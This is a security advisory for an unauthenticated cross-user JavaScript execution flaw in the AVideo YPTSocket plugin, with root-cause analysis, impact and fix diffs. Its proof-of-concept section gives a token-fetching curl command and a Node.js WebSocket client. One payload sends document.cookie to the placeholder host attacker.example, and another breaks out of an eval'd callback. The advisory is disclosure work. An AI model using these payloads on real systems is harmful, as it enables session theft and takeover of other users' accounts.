GHSA-GPH2-J4C9-VHHR

Vulnerability from github – Published: 2026-04-14 22:50 – Updated: 2026-04-14 22:50
VLAI?
Summary
WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks
Details

Summary

The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.

Details

Token issuance is unauthenticated

plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:

if(!AVideoPlugin::isEnabledByName("YPTSocket")){
    $obj->msg = "Socket plugin not enabled";
    die(json_encode($obj));
}
$obj->error = false;
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();

getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates from_users_id = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.

Server relays attacker JSON verbatim

plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites from_identification:

public function onMessage(ConnectionInterface $from, $msg) {
    ...
    $json = _json_decode($msg);
    if (empty($json->webSocketToken)) { return false; }
    if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }

    switch ($json->msg) {
        ...
        default:
            $this->msgToArray($json);
            if (isset($json['from_identification'])) {
                $json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));
            }
            ...
            } else {
                $this->msgToAll($from, $json);  // broadcast
            }
            break;
    }
}

msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:

if (isset($msg['callback'])) {
    $obj['callback'] = $msg['callback'];  // tainted
    ...
}
...
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];  // tainted — entire object forwarded verbatim
}

$obj is JSON-encoded at line 335 and sent to every connected client.

Client-side sink #1: autoEvalCodeOnHTML → eval

plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():

connWS.onmessage = function (e) {
    var json = JSON.parse(e.data);
    ...
    yptSocketResponse = json;
    parseSocketResponse();
    ...
};

parseSocketResponse() at script.js:545-569 reaches the sink:

async function parseSocketResponse() {
    const json = yptSocketResponse;
    ...
    if (json.msg?.autoEvalCodeOnHTML !== undefined) {
        eval(json.msg.autoEvalCodeOnHTML);   // <-- attacker-controlled
    }
    ...
}

Client-side sink #2: json.callback → eval

plugin/YPTSocket/script.js:91-95processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):

if (json.callback) {
    var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
    socketLog('Executing callback:', json.callback);
    eval(code);
    ...
}

Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.

PoC

Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).

Step 1 — obtain a token anonymously (no cookies, no auth):

curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'

Expected output (abbreviated):

{"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}

Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:

const WebSocket = require('ws');
const TOKEN = '<token from step 1>';
const URL   = '<webSocketURL from step 1>';
const ws = new WebSocket(URL, { rejectUnauthorized: false });

ws.on('open', () => {
    // Payload 1 — primary sink (raw WebSocket transport):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: {
            autoEvalCodeOnHTML:
                "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" +
                "alert('XSS as '+document.domain);"
        }
    }));

    // Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: "p",
        callback: "alert(document.domain);window.x"
    }));
});

Step 3 — observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's script.js — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:

  • Payload 1 reaches parseSocketResponse() at line 568 and evaluates eval(json.msg.autoEvalCodeOnHTML), firing the exfiltration request to attacker.example with document.cookie.
  • Payload 2 reaches processSocketJson() at line 95; the synthesized code string is if (typeof alert(document.domain);window.x == 'function') { ... }, which executes alert(document.domain) during the typeof evaluation.

Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.

Impact

A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:

  • Session theft of every connected user, including administrators (note: HttpOnly does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies).
  • Privileged action execution on behalf of any admin who happens to be online — including plugin installation (GHSA-v8jw-8w5p-23g3 shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.
  • Stored cross-user JS persistence via localStorage, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.
  • Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.
  • The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.

Recommended Fix

Multiple defense-in-depth layers are required:

1. Remove the client-side eval sinks entirely. plugin/YPTSocket/script.js:

- if (json.msg?.autoEvalCodeOnHTML !== undefined) {
-     eval(json.msg.autoEvalCodeOnHTML);
- }

No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.

Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:

- if (json.callback) {
-     var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
-     eval(code);
-     ...
- } else {
-     myfunc = defaultCallback;
- }
+ var ALLOWED_CALLBACKS = ['socketNewConnection', 'socketDisconnection', /* ... */];
+ if (typeof json.callback === 'string' && ALLOWED_CALLBACKS.indexOf(json.callback) !== -1
+     && typeof window[json.callback] === 'function') {
+     myfunc = window[json.callback];
+     const event = new CustomEvent(json.callback, { detail: _details });
+     document.dispatchEvent(event);
+ } else {
+     myfunc = defaultCallback;
+ }

2. Server-side: allowlist keys on relayed msg objects. In plugin/YPTSocket/Message.php::onMessage() default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding $msg['msg'] verbatim:

// At top of default branch, after msgToArray:
$ALLOWED_MSG_KEYS = ['type', 'text', 'videos_id', 'users_id', /* ... */];
if (isset($json['msg']) && is_array($json['msg'])) {
    $json['msg'] = array_intersect_key($json['msg'], array_flip($ALLOWED_MSG_KEYS));
}
// Similarly sanitize callback:
if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
    unset($json['callback']);
}

3. Restrict token issuance and sender privileges. plugin/YPTSocket/getWebSocket.json.php should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger msgToAll at all — the default branch of onMessage should require $msgObj->isAdmin (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T22:50:05Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe YPTSocket plugin\u0027s WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.\n\n## Details\n\n### Token issuance is unauthenticated\n\n`plugin/YPTSocket/getWebSocket.json.php:11-21` returns a token to anyone whose request reaches the endpoint \u2014 the only check is that the plugin is enabled:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\"YPTSocket\")){\n    $obj-\u003emsg = \"Socket plugin not enabled\";\n    die(json_encode($obj));\n}\n$obj-\u003eerror = false;\n$obj-\u003ewebSocketToken = getEncryptedInfo(0);\n$obj-\u003ewebSocketURL = YPTSocket::getWebSocketURL();\n```\n\n`getEncryptedInfo()` in `plugin/YPTSocket/functions.php:3-16` populates `from_users_id = User::getId()` (0 for guests) and `isAdmin = User::isAdmin()` (false for guests). The issued token is accepted by the WebSocket server\u0027s `onOpen` handler (`Message.php:44-52`) solely by successful decryption \u2014 there is no requirement for the connecting principal to be authenticated.\n\n### Server relays attacker JSON verbatim\n\n`plugin/YPTSocket/Message.php:191-245` \u2014 the default branch of `onMessage` only rewrites `from_identification`:\n\n```php\npublic function onMessage(ConnectionInterface $from, $msg) {\n    ...\n    $json = _json_decode($msg);\n    if (empty($json-\u003ewebSocketToken)) { return false; }\n    if (!$msgObj = getDecryptedInfo($json-\u003ewebSocketToken)) { return false; }\n\n    switch ($json-\u003emsg) {\n        ...\n        default:\n            $this-\u003emsgToArray($json);\n            if (isset($json[\u0027from_identification\u0027])) {\n                $json[\u0027from_identification\u0027] = strip_tags((string)($msgObj-\u003euser_name ?? \u0027\u0027));\n            }\n            ...\n            } else {\n                $this-\u003emsgToAll($from, $json);  // broadcast\n            }\n            break;\n    }\n}\n```\n\n`msgToResourceId()` at `Message.php:297-310` copies the attacker-controlled `callback` and `msg` fields into the outbound payload:\n\n```php\nif (isset($msg[\u0027callback\u0027])) {\n    $obj[\u0027callback\u0027] = $msg[\u0027callback\u0027];  // tainted\n    ...\n}\n...\n} else if (!empty($msg[\u0027msg\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027msg\u0027];  // tainted \u2014 entire object forwarded verbatim\n}\n```\n\n`$obj` is JSON-encoded at line 335 and sent to every connected client.\n\n### Client-side sink #1: `autoEvalCodeOnHTML` \u2192 eval\n\n`plugin/YPTSocket/script.js:163-169` (raw WebSocket transport) sets every inbound frame as `yptSocketResponse` and unconditionally calls `parseSocketResponse()`:\n\n```js\nconnWS.onmessage = function (e) {\n    var json = JSON.parse(e.data);\n    ...\n    yptSocketResponse = json;\n    parseSocketResponse();\n    ...\n};\n```\n\n`parseSocketResponse()` at `script.js:545-569` reaches the sink:\n\n```js\nasync function parseSocketResponse() {\n    const json = yptSocketResponse;\n    ...\n    if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n        eval(json.msg.autoEvalCodeOnHTML);   // \u003c-- attacker-controlled\n    }\n    ...\n}\n```\n\n### Client-side sink #2: `json.callback` \u2192 eval\n\n`plugin/YPTSocket/script.js:91-95` \u2014 `processSocketJson()` concatenates attacker-controlled `json.callback` into an eval\u0027d string. This path is reachable on BOTH transports: the raw WebSocket branch (`script.js:182`) and the Socket.IO branch (`script.js:339` via `socket.on(\"message\", (data) =\u003e { \u2026 processSocketJson(data) })`):\n\n```js\nif (json.callback) {\n    var code = \"if (typeof \" + json.callback + \" == \u0027function\u0027) { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n    socketLog(\u0027Executing callback:\u0027, json.callback);\n    eval(code);\n    ...\n}\n```\n\nBecause `json.callback` is interpolated as raw source, a payload like `alert(document.cookie);window.x` breaks out of the `typeof` expression and executes during the condition evaluation.\n\n## PoC\n\nPrerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).\n\n**Step 1 \u2014 obtain a token anonymously** (no cookies, no auth):\n\n```bash\ncurl -s \u0027https://target.example/plugin/YPTSocket/getWebSocket.json.php\u0027\n```\n\nExpected output (abbreviated):\n```json\n{\"error\":false,\"msg\":\"\",\"webSocketToken\":\"\u003clong encrypted token\u003e\",\"webSocketURL\":\"wss://target.example:8888/?webSocketToken=\u003ctoken\u003e\u0026...\"}\n```\n\n**Step 2 \u2014 connect to the WebSocket endpoint** using the returned `webSocketURL`. A minimal Node.js client:\n\n```js\nconst WebSocket = require(\u0027ws\u0027);\nconst TOKEN = \u0027\u003ctoken from step 1\u003e\u0027;\nconst URL   = \u0027\u003cwebSocketURL from step 1\u003e\u0027;\nconst ws = new WebSocket(URL, { rejectUnauthorized: false });\n\nws.on(\u0027open\u0027, () =\u003e {\n    // Payload 1 \u2014 primary sink (raw WebSocket transport):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: {\n            autoEvalCodeOnHTML:\n                \"fetch(\u0027https://attacker.example/x?c=\u0027+encodeURIComponent(document.cookie));\" +\n                \"alert(\u0027XSS as \u0027+document.domain);\"\n        }\n    }));\n\n    // Payload 2 \u2014 secondary sink (reaches both raw WS and Socket.IO clients):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: \"p\",\n        callback: \"alert(document.domain);window.x\"\n    }));\n});\n```\n\n**Step 3 \u2014 observe impact.** Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket\u0027s `script.js` \u2014 the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:\n\n- Payload 1 reaches `parseSocketResponse()` at line 568 and evaluates `eval(json.msg.autoEvalCodeOnHTML)`, firing the exfiltration request to `attacker.example` with `document.cookie`.\n- Payload 2 reaches `processSocketJson()` at line 95; the synthesized `code` string is `if (typeof alert(document.domain);window.x == \u0027function\u0027) { ... }`, which executes `alert(document.domain)` during the `typeof` evaluation.\n\nAny administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.\n\n## Impact\n\nA single unauthenticated request and one WebSocket frame grants the attacker **universal client-side code execution** across every user currently connected to the target AVideo instance. Concretely:\n\n- Session theft of every connected user, including administrators (note: `HttpOnly` does not help because the attacker\u0027s JS runs in-origin and can call privileged endpoints directly without ever reading cookies).\n- Privileged action execution on behalf of any admin who happens to be online \u2014 including plugin installation (`GHSA-v8jw-8w5p-23g3` shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.\n- Stored cross-user JS persistence via `localStorage`, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.\n- Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.\n- The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker\u0027s actions cross the trust boundary into every other user\u0027s browser authorization context, including admin.\n\n## Recommended Fix\n\nMultiple defense-in-depth layers are required:\n\n**1. Remove the client-side eval sinks entirely.** `plugin/YPTSocket/script.js`:\n\n```diff\n- if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n-     eval(json.msg.autoEvalCodeOnHTML);\n- }\n```\n\nNo legitimate server flow should push arbitrary JavaScript through a broadcast channel \u2014 if server-driven UI updates are needed, use structured data and predefined handler functions.\n\nReplace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:\n\n```diff\n- if (json.callback) {\n-     var code = \"if (typeof \" + json.callback + \" == \u0027function\u0027) { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n-     eval(code);\n-     ...\n- } else {\n-     myfunc = defaultCallback;\n- }\n+ var ALLOWED_CALLBACKS = [\u0027socketNewConnection\u0027, \u0027socketDisconnection\u0027, /* ... */];\n+ if (typeof json.callback === \u0027string\u0027 \u0026\u0026 ALLOWED_CALLBACKS.indexOf(json.callback) !== -1\n+     \u0026\u0026 typeof window[json.callback] === \u0027function\u0027) {\n+     myfunc = window[json.callback];\n+     const event = new CustomEvent(json.callback, { detail: _details });\n+     document.dispatchEvent(event);\n+ } else {\n+     myfunc = defaultCallback;\n+ }\n```\n\n**2. Server-side: allowlist keys on relayed `msg` objects.** In `plugin/YPTSocket/Message.php::onMessage()` default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding `$msg[\u0027msg\u0027]` verbatim:\n\n```php\n// At top of default branch, after msgToArray:\n$ALLOWED_MSG_KEYS = [\u0027type\u0027, \u0027text\u0027, \u0027videos_id\u0027, \u0027users_id\u0027, /* ... */];\nif (isset($json[\u0027msg\u0027]) \u0026\u0026 is_array($json[\u0027msg\u0027])) {\n    $json[\u0027msg\u0027] = array_intersect_key($json[\u0027msg\u0027], array_flip($ALLOWED_MSG_KEYS));\n}\n// Similarly sanitize callback:\nif (isset($json[\u0027callback\u0027]) \u0026\u0026 !preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027, (string)$json[\u0027callback\u0027])) {\n    unset($json[\u0027callback\u0027]);\n}\n```\n\n**3. Restrict token issuance and sender privileges.** `plugin/YPTSocket/getWebSocket.json.php` should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger `msgToAll` at all \u2014 the default branch of `onMessage` should require `$msgObj-\u003eisAdmin` (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.",
  "id": "GHSA-gph2-j4c9-vhhr",
  "modified": "2026-04-14T22:50:05Z",
  "published": "2026-04-14T22:50:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/c08694bf6264eb4decceb78c711baee2609b4efd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…